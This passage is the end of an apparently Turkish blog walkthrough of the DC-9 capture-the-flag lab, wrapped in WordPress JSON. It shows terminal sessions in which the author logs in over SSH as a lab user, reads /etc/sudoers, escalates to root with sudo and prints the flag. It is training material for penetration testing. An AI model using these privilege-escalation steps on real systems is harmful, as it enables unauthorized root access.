fredf@dc-9:~$ exit\nlogout\nConnection to 192.168.31.113 closed.\n\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/dc9]\n\u2514\u2500# ssh fredf@192.168.31.113                                                                                   255 \u2a2f\nfredf@192.168.31.113's password: \nLinux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64\n\nThe programs included with the Debian GNU\/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in \/usr\/share\/doc\/*\/copyright.\n\nDebian GNU\/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nLast login: Fri Jun 25 04:27:40 2021 from 192.168.31.102\nfredf@dc-9:~$ id\nuid=1003(fredf) gid=1003(fredf) groups=1003(fredf),0(root),27(sudo)\n\nfredf@dc-9:~$ cat \/etc\/sudoers\n#\n# This file MUST be edited with the 'visudo' command as root.\n#\n# Please consider adding local content in \/etc\/sudoers.d\/ instead of\n# directly modifying this file.\n#\n# See the man page for details on how to write a sudoers file.\n#\nDefaults    env_reset\nDefaults    mail_badpass\nDefaults    secure_path=\"\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin\"\n\n# Host alias specification\n\n# User alias specification\n\n# Cmnd alias specification\n\n# User privilege specification\nroot    ALL=(ALL:ALL) ALL\n\n# Allow members of group sudo to execute any command\n%sudo   ALL=(ALL:ALL) ALL\n\n# See sudoers(5) for more information on \"#include\" directives:\n\n#includedir \/etc\/sudoers.d\n\nfredf   ALL=(root) NOPASSWD: \/opt\/devstuff\/dist\/test\/test\n<\/code><\/pre>\n
Harika! sudo grubunda oldu\u011fumuzda %sudo   ALL=(ALL:ALL) ALL<\/strong> her \u015fey bizim. \u015eimdi bunu do\u011frulayal\u0131m.<\/p>\n
fredf@dc-9:~$ sudo -l\nMatching Defaults entries for fredf on dc-9:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser fredf may run the following commands on dc-9:\n    (ALL : ALL) ALL\n    (root) NOPASSWD: \/opt\/devstuff\/dist\/test\/test\nfredf@dc-9:~$ sudo su\n[sudo] password for fredf: \nroot@dc-9:\/home\/fredf# whoami\nroot\nroot@dc-9:\/home\/fredf# cd \/root\/\nroot@dc-9:~# ls\ntheflag.txt\nroot@dc-9:~# cat theflag.txt \n\n\u2588\u2588\u2588\u2557   \u2588\u2588\u2557\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557    \u2588\u2588\u2557    \u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2557  \u2588\u2588\u2557\u2588\u2588\u2557\u2588\u2588\u2557\u2588\u2588\u2557\n\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2551\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d    \u2588\u2588\u2551    \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2551 \u2588\u2588\u2554\u255d\u2588\u2588\u2551\u2588\u2588\u2551\u2588\u2588\u2551\n\u2588\u2588\u2554\u2588\u2588\u2557 \u2588\u2588\u2551\u2588\u2588\u2551\u2588\u2588\u2551     \u2588\u2588\u2588\u2588\u2588\u2557      \u2588\u2588\u2551 \u2588\u2557 \u2588\u2588\u2551\u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2588\u2588\u2588\u2554\u255d \u2588\u2588\u2551\u2588\u2588\u2551\u2588\u2588\u2551\n\u2588\u2588\u2551\u255a\u2588\u2588\u2557\u2588\u2588\u2551\u2588\u2588\u2551\u2588\u2588\u2551     \u2588\u2588\u2554\u2550\u2550\u255d      \u2588\u2588\u2551\u2588\u2588\u2588\u2557\u2588\u2588\u2551\u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2588\u2588\u2557 \u255a\u2550\u255d\u255a\u2550\u255d\u255a\u2550\u255d\n\u2588\u2588\u2551 \u255a\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2551\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557    \u255a\u2588\u2588\u2588\u2554\u2588\u2588\u2588\u2554\u255d\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2551  \u2588\u2588\u2551\u2588\u2588\u2551  \u2588\u2588\u2557\u2588\u2588\u2557\u2588\u2588\u2557\u2588\u2588\u2557\n\u255a\u2550\u255d  \u255a\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d     \u255a\u2550\u2550\u255d\u255a\u2550\u2550\u255d  \u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u255d  \u255a\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d\u255a\u2550\u255d\u255a\u2550\u255d\u255a\u2550\u255d\n\nCongratulations - you have done well to get to this point.\n\nHope you enjoyed DC-9.  Just wanted to send out a big thanks to all those\nwho have taken the time to complete the various DC challenges.\n\nI also want to send out a big thank you to the various members of @m0tl3ycr3w .\n\nThey are an inspirational bunch of fellows.\n\nSure, they might smell a bit, but...just kidding.  :-)\n\nSadly, all things must come to an end, and this will be the last ever\nchallenge in the DC series.\n\nSo long, and thanks for all the fish.\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
Makine Hakk\u0131nda Bilgiler A\u00e7\u0131klama: DC-9 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing. The ultimate…<\/p>\n
Devam\u0131n\u0131 okuDC: 9<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[194,528,502],"class_list":["post-1244","post","type-post","status-publish","format-standard","hentry","category-walkthrough","tag-lfi","tag-port-knock","tag-sudoers","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1244","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1244"}],"version-history":[{"count":2,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1244\/revisions"}],"predecessor-version":[{"id":1246,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1244\/revisions\/1246"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1244"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1244"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1244"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}